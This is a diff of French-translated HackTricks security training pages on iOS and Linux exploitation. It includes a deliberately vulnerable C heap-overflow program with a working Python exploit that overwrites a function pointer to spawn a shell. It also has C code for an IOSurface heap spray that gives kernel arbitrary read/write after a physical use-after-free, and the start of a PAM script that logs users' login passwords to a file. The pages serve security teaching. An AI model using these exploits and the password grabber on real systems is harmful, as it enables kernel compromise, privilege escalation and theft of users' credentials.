- **Objects with function pointers (vtables)** : corrompre l'un d'eux donne toujours du contrôle de flux.
|
||||
- **Shared memory objects (IOSurface, Mach ports)** : ces objets restent des cibles car ils font le pont user ↔ kernel.
|
||||
|
||||
Mais — contrairement à avant — vous ne pouvez plus simplement sprayer `OSData` en espérant qu'il se retrouve voisin d'un `task_t`. Il faut des bugs spécifiques au type ou des info leaks pour réussir.
|
||||
|
||||
### Example: Allocation Flow in Modern Heap
|
||||
|
||||
Supposons que userspace appelle IOKit pour allouer un objet `OSData` :
|
||||
|
||||
1. **Type lookup** → `OSData` mappe vers la zone `kalloc_type_osdata` (taille 64 octets).
|
||||
2. Vérifier le cache per-CPU pour des éléments libres.
|
||||
- Si trouvé → en retourner un.
|
||||
- Si vide → passer au global freelist.
|
||||
- Si le freelist est vide → allouer un nouveau slab (page de 4KB → 64 chunks de 64 octets).
|
||||
3. Retourner le chunk à l'appelant.
|
||||
|
||||
**Freelist pointer protection** :
|
||||
- Chaque chunk freed stocke l'adresse du prochain chunk libre, mais encodée avec une clé secrète.
|
||||
- Écraser ce champ avec des données d'attaquant ne fonctionnera pas à moins de connaître la clé.
|
||||
|
||||
## Comparison Table
|
||||
|
||||
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|
||||
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
|
||||
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
|
||||
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
|
||||
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
|
||||
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
|
||||
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
|
||||
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
|
||||
|
||||
## (Old) Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#ref}}
|
||||
ios-physical-uaf-iosurface.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Ghidra Install BinDiff
|
||||
|
||||
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
|
||||
|
||||
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and installez-le même s'il y a une incompatibilité de version.
|
||||
|
||||
### Using BinDiff with Kernel versions
|
||||
|
||||
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
|
||||
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
|
||||
4. Open each kernelcache so they are automatically analyzed by Ghidra.
|
||||
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
|
||||
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
|
||||
|
||||
---
|
||||
|
||||
## Finding the right XNU version
|
||||
|
||||
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
|
||||
|
||||
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
79
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
79
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
@ -0,0 +1,79 @@
|
||||
# iOS Comment se connecter à Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Prérequis**
|
||||
- A Corellium iOS VM (jailbroken or not). Dans ce guide, nous supposons que vous avez accès à Corellium.
|
||||
- Local tools: **ssh/scp**.
|
||||
- (Optionnel) **SSH keys** ajoutées à votre projet Corellium pour des connexions sans mot de passe.
|
||||
|
||||
|
||||
## **Se connecter à la VM iPhone depuis localhost**
|
||||
|
||||
### A) **Quick Connect (no VPN)**
|
||||
0) Ajoutez votre SSH key dans **`/admin/projects`** (recommandé).
|
||||
1) Ouvrez la page de l'appareil → **Connect**
|
||||
2) **Copy the Quick Connect SSH command** shown by Corellium and paste it in your terminal.
|
||||
3) Entrez le mot de passe ou utilisez votre SSH key (recommandé).
|
||||
|
||||
### B) **VPN → direct SSH**
|
||||
0) Ajoutez votre SSH key dans **`/admin/projects`** (recommandé).
|
||||
1) Page de l'appareil → **CONNECT** → **VPN** → download `.ovpn` and connect with any VPN client that supports TAP mode. (Check [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.)
|
||||
2) SSH vers l'adresse **10.11.x.x** de la VM:
|
||||
```bash
|
||||
ssh root@10.11.1.1
|
||||
```
|
||||
## **Téléverser un binaire natif et l'exécuter**
|
||||
|
||||
### 2.1 **Téléversement**
|
||||
- Si Quick Connect vous a donné un host/port:
|
||||
```bash
|
||||
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
- Si vous utilisez un VPN (10.11.x.x) :
|
||||
```bash
|
||||
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
## **Téléverser et installer une app iOS (.ipa)**
|
||||
|
||||
### Chemin A — **Web UI (le plus rapide)**
|
||||
1) Page Device → onglet Apps → Install App → sélectionnez votre `.ipa`.
|
||||
2) Depuis le même onglet vous pouvez **lancer/terminer/désinstaller**.
|
||||
|
||||
### Chemin B — **Scripté via Corellium Agent**
|
||||
1) Utilisez l'API Agent pour **téléverser** puis **installer**:
|
||||
```js
|
||||
// Node.js (pseudo) using Corellium Agent
|
||||
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
|
||||
await agent.install("/var/tmp/app.ipa", (progress, status) => {
|
||||
console.log(progress, status);
|
||||
});
|
||||
```
|
||||
### Path C — **Non-jailbroken (proper signing / Sideloadly)**
|
||||
- Si vous n'avez pas de provisioning profile, utilisez **Sideloadly** pour re-signer avec votre Apple ID, ou connectez-vous dans Xcode.
|
||||
- Vous pouvez aussi exposer la VM à Xcode en utilisant **USBFlux** (voir §5).
|
||||
|
||||
|
||||
- Pour obtenir rapidement des logs/commandes sans SSH, utilisez la **Console** de l'appareil dans l'UI.
|
||||
|
||||
## **Extras**
|
||||
|
||||
- **Port-forwarding** (faire en sorte que la VM semble locale pour d'autres outils):
|
||||
```bash
|
||||
# Forward local 2222 -> device 22
|
||||
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
|
||||
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
|
||||
```
|
||||
- **LLDB remote debugging**: utilisez l'adresse **LLDB/GDB stub** affichée en bas de la page de l'appareil (CONNECT → LLDB).
|
||||
|
||||
- **USBFlux (macOS/Linux)**: présentez la VM à **Xcode/Sideloadly** comme un appareil connecté par câble.
|
||||
|
||||
|
||||
## **Pièges courants**
|
||||
- **Proper signing** est requis sur les appareils **non-jailbroken** ; les IPAs non signés ne se lanceront pas.
|
||||
- **Quick Connect vs VPN** : Quick Connect est le plus simple ; utilisez **VPN** lorsque vous avez besoin que l'appareil soit sur votre réseau local (p.ex., proxies/outils locaux).
|
||||
- **No App Store** sur les appareils Corellium ; apportez vos propres IPAs (re)signés.
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,205 @@
|
||||
# iOS : Comment se connecter à Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vuln Code
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
static void safe_cb(void) {
|
||||
puts("[*] safe_cb() called — nothing interesting here.");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
static void win(void) {
|
||||
puts("[+] win() reached — spawning shell...");
|
||||
fflush(stdout);
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
typedef void (*cb_t)(void);
|
||||
|
||||
typedef struct {
|
||||
cb_t cb; // <--- Your target: overwrite this with win()
|
||||
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
|
||||
} hook_t;
|
||||
|
||||
static void fatal(const char *msg) {
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Make I/O deterministic
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Print address leak so exploit doesn't guess ASLR
|
||||
printf("[*] LEAK win() @ %p\n", (void*)&win);
|
||||
|
||||
// 1) Allocate the overflow buffer
|
||||
size_t buf_sz = 128;
|
||||
char *buf = (char*)malloc(buf_sz);
|
||||
if (!buf) fatal("malloc buf");
|
||||
memset(buf, 'A', buf_sz);
|
||||
|
||||
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
|
||||
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
|
||||
if (!h) fatal("malloc hook");
|
||||
h->cb = safe_cb;
|
||||
memcpy(h->tag, "HOOK-OBJ", 8);
|
||||
|
||||
// A tiny bit of noise to look realistic (and to consume small leftover holes)
|
||||
void *spacers[16];
|
||||
for (int i = 0; i < 16; i++) {
|
||||
spacers[i] = malloc(64);
|
||||
if (spacers[i]) memset(spacers[i], 0xCC, 64);
|
||||
}
|
||||
|
||||
puts("[*] You control a write into the 128B buffer (no bounds check).");
|
||||
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
|
||||
|
||||
// 3) Read attacker-chosen length and then read that many bytes → overflow
|
||||
char line[64];
|
||||
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
|
||||
unsigned long n = strtoul(line, NULL, 10);
|
||||
|
||||
// BUG: no clamp to 128
|
||||
ssize_t got = read(STDIN_FILENO, buf, n);
|
||||
if (got < 0) fatal("read");
|
||||
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
|
||||
|
||||
// 4) Trigger: call the hook's callback
|
||||
puts("[*] Calling h->cb() ...");
|
||||
h->cb();
|
||||
|
||||
puts("[*] Done.");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilez-le avec :
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
|
||||
```
|
||||
## Exploit
|
||||
|
||||
> [!WARNING]
|
||||
> Cet exploit définit la variable d'environnement `MallocNanoZone=0` pour désactiver la NanoZone. Ceci est nécessaire pour obtenir des allocations adjacentes lors de l'appel à `malloc` avec de petites tailles. Sans cela, différentes allocations via `malloc` seront placées dans des zones distinctes et ne seront pas adjacentes ; par conséquent l'overflow ne fonctionnera pas comme prévu.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Heap overflow exploit for macOS ARM64 CTF challenge
|
||||
#
|
||||
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
|
||||
# a function pointer in an adjacent heap chunk.
|
||||
#
|
||||
# Key insights:
|
||||
# 1. macOS uses different heap zones for different allocation sizes
|
||||
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
|
||||
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
|
||||
#
|
||||
from pwn import *
|
||||
import re
|
||||
import sys
|
||||
import struct
|
||||
import platform
|
||||
|
||||
# Detect architecture and set context accordingly
|
||||
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
|
||||
context.clear(arch='aarch64')
|
||||
else:
|
||||
context.clear(arch='amd64')
|
||||
|
||||
BIN = './heap_groom'
|
||||
|
||||
def parse_leak(line):
|
||||
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
|
||||
if not m:
|
||||
log.failure("Couldn't parse leak")
|
||||
sys.exit(1)
|
||||
return int(m.group(1), 16)
|
||||
|
||||
def build_payload(win_addr, extra_pad=0):
|
||||
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
|
||||
padding = b'A' * 128
|
||||
if extra_pad:
|
||||
padding += b'B' * extra_pad
|
||||
# Add the win address to overwrite the function pointer
|
||||
payload = padding + p64(win_addr)
|
||||
return payload
|
||||
|
||||
def main():
|
||||
# On macOS, we need to disable the Nano zone for adjacent allocations
|
||||
import os
|
||||
env = os.environ.copy()
|
||||
env['MallocNanoZone'] = '0'
|
||||
|
||||
# The correct padding with MallocNanoZone=0 is 432 bytes
|
||||
# This makes the total distance 560 bytes (128 buffer + 432 padding)
|
||||
# Try the known working value first, then alternatives in case of heap variation
|
||||
candidates = [
|
||||
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
|
||||
424, # Try slightly less in case of alignment differences
|
||||
440, # Try slightly more
|
||||
416, # 16 bytes less
|
||||
448, # 16 bytes more
|
||||
0, # Direct adjacency (unlikely but worth trying)
|
||||
]
|
||||
|
||||
log.info("Starting heap overflow exploit for macOS...")
|
||||
|
||||
for extra in candidates:
|
||||
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
|
||||
p = process(BIN, env=env)
|
||||
|
||||
# Read leak line
|
||||
leak_line = p.recvline()
|
||||
win_addr = parse_leak(leak_line)
|
||||
log.success(f"win() @ {hex(win_addr)}")
|
||||
|
||||
# Skip prompt lines
|
||||
p.recvuntil(b"Enter payload length")
|
||||
p.recvline()
|
||||
|
||||
# Build and send payload
|
||||
payload = build_payload(win_addr, extra_pad=extra)
|
||||
total_len = len(payload)
|
||||
|
||||
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
|
||||
|
||||
# Send length and payload
|
||||
p.sendline(str(total_len).encode())
|
||||
p.send(payload)
|
||||
|
||||
# Check if we overwrote the function pointer successfully
|
||||
try:
|
||||
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
|
||||
p.recvline(timeout=0.5) # Skip the "..." part
|
||||
|
||||
# Check if we hit win()
|
||||
response = p.recvline(timeout=0.5)
|
||||
if b"win() reached" in response:
|
||||
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
|
||||
log.success("Shell spawned, entering interactive mode...")
|
||||
p.interactive()
|
||||
return
|
||||
elif b"safe_cb() called" in response:
|
||||
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
|
||||
else:
|
||||
log.info(f"Failed with extra_pad={extra}, unexpected response")
|
||||
except:
|
||||
log.info(f"Failed with extra_pad={extra}, likely crashed")
|
||||
|
||||
p.close()
|
||||
|
||||
log.failure("All padding attempts failed. The heap layout might be different.")
|
||||
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,215 @@
|
||||
# iOS Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
L'espace d'adressage mémoire virtuel pour les processus utilisateur sur iOS s'étend de 0x0 à 0x8000000000. Toutefois, ces adresses ne correspondent pas directement à la mémoire physique. Le noyau utilise des tables de pages pour traduire les adresses virtuelles en adresses physiques réelles.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Les tables de pages sont organisées de manière hiérarchique en trois niveaux :
|
||||
|
||||
1. **L1 Page Table (Level 1)** :
|
||||
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
||||
* Elle couvre **0x1000000000 bytes** (ou **256 GB**) de mémoire virtuelle.
|
||||
2. **L2 Page Table (Level 2)** :
|
||||
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 bytes** (32 MB).
|
||||
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
||||
3. **L3 Page Table (Level 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une page mémoire de **4 KB**.
|
||||
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)** :
|
||||
* Certaines entrées dans une table de pages mappent directement une plage d'adresses virtuelles à une plage contiguë d'adresses physiques (comme un raccourci).
|
||||
* **Pointer to Child Page Table** :
|
||||
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple L1) peut pointer vers une table de pages enfant au niveau suivant (par exemple L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Supposons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
|
||||
1. **L1 Table** :
|
||||
* Le noyau vérifie l'entrée correspondante de la table L1 pour cette adresse virtuelle. Si elle contient un **pointer to an L2 page table**, il se rend dans cette table L2.
|
||||
2. **L2 Table** :
|
||||
* Le noyau vérifie la table L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **L3 page table**, il poursuit vers elle.
|
||||
3. **L3 Table** :
|
||||
* Le noyau consulte l'entrée finale L3, qui pointe vers l'adresse physique de la page mémoire réelle.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
||||
|
||||
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** sont mappées aux adresses physiques de **0x800004000** à **0x802004000**.
|
||||
* C'est un **block mapping** au niveau L2.
|
||||
|
||||
Alternativement, si l'entrée L2 pointe vers une table L3 :
|
||||
|
||||
* Chaque page de 4 KB dans la plage virtuelle **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Un **physical use-after-free** (UAF) se produit lorsque :
|
||||
|
||||
1. Un processus **alloue** de la mémoire en lecture/écriture.
|
||||
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire vers une adresse physique spécifique accessible par le processus.
|
||||
3. Le processus **désalloue** (libère) la mémoire.
|
||||
4. Cependant, à cause d'un **bogue**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
||||
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des structures de données du noyau.
|
||||
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
|
||||
|
||||
Cela signifie que le processus peut accéder à des pages de la mémoire du noyau, qui peuvent contenir des données sensibles ou des structures, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Générez des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour les rechercher ensuite:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Rechercher des objets **`IOSurface`** dans une page physique libérée :
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Obtention de lecture/écriture au noyau avec IOSurface
|
||||
|
||||
Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé sur une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour effectuer des opérations **de lecture et d'écriture arbitraires dans le noyau**.
|
||||
|
||||
**Champs clés dans IOSurface**
|
||||
|
||||
L'objet IOSurface possède deux champs cruciaux :
|
||||
|
||||
1. **Use Count Pointer** : Permet une **lecture 32-bit**.
|
||||
2. **Indexed Timestamp Pointer** : Permet une **écriture 64-bit**.
|
||||
|
||||
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, ce qui active des capacités de lecture/écriture.
|
||||
|
||||
#### Lecture 32-bit du noyau
|
||||
|
||||
Pour effectuer une lecture :
|
||||
|
||||
1. Écrasez le **use count pointer** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
|
||||
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### Écriture 64 bits dans le kernel
|
||||
|
||||
Pour effectuer une écriture :
|
||||
|
||||
1. Écraser le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible.
|
||||
2. Utiliser la méthode `set_indexed_timestamp` pour écrire une valeur 64 bits.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Récapitulatif du déroulement de l'exploit
|
||||
|
||||
1. **Trigger Physical Use-After-Free** : les pages libérées sont disponibles pour réutilisation.
|
||||
2. **Spray IOSurface Objects** : Allouer de nombreux objets IOSurface avec une "magic value" unique dans kernel memory.
|
||||
3. **Identify Accessible IOSurface** : Localiser un IOSurface sur une page libérée que vous contrôlez.
|
||||
4. **Abuse Use-After-Free** : Modifier les pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les méthodes IOSurface.
|
||||
|
||||
Avec ces primitives, l'exploit fournit des **32-bit reads** contrôlés et des **64-bit writes** vers kernel memory. Les étapes de jailbreak ultérieures pourraient impliquer des primitives de lecture/écriture plus stables, ce qui peut nécessiter de contourner des protections supplémentaires (p. ex., PPL sur les appareils arm64e plus récents).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,25 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Interception des mots de passe de connexion avec PAM
|
||||
## Sniffing des mots de passe de connexion avec PAM
|
||||
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
Configurons un module PAM pour enregistrer chaque mot de passe utilisé par les utilisateurs lors de la connexion. Si vous ne savez pas ce qu'est PAM, consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Pour plus de détails, consultez le [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci n'est qu'un résumé :
|
||||
**Pour plus de détails, consultez l'[article original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci n'est qu'un résumé :
|
||||
|
||||
**Aperçu de la technique :**
|
||||
Pluggable Authentication Modules (PAM) offrent de la flexibilité dans la gestion de l'authentification sur les systèmes Unix. Ils peuvent renforcer la sécurité en personnalisant les processus de connexion, mais présentent aussi des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer les identifiants de connexion en utilisant PAM, ainsi que des stratégies d'atténuation.
|
||||
**Présentation de la technique :**
|
||||
Pluggable Authentication Modules (PAM) offrent une flexibilité dans la gestion de l'authentification sur les systèmes Unix. Ils peuvent renforcer la sécurité en personnalisant les processus de connexion, mais présentent aussi des risques s'ils sont mal utilisés. Ce résumé décrit une technique pour capturer des identifiants de connexion en utilisant PAM, ainsi que des stratégies d'atténuation.
|
||||
|
||||
**Capture des identifiants :**
|
||||
|
||||
- Un script bash nommé `toomanysecrets.sh` est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hôte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`.
|
||||
- Le script est rendu exécutable et intégré dans la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le jeton d'authentification au script.
|
||||
- Cette approche montre comment un hôte Linux compromis peut être exploité pour consigner discrètement des identifiants.
|
||||
- Le script est rendu exécutable et intégré à la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exécuter silencieusement et exposer le token d'authentification au script.
|
||||
- Cette approche montre comment un hôte Linux compromis peut être exploité pour enregistrer discrètement des identifiants.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
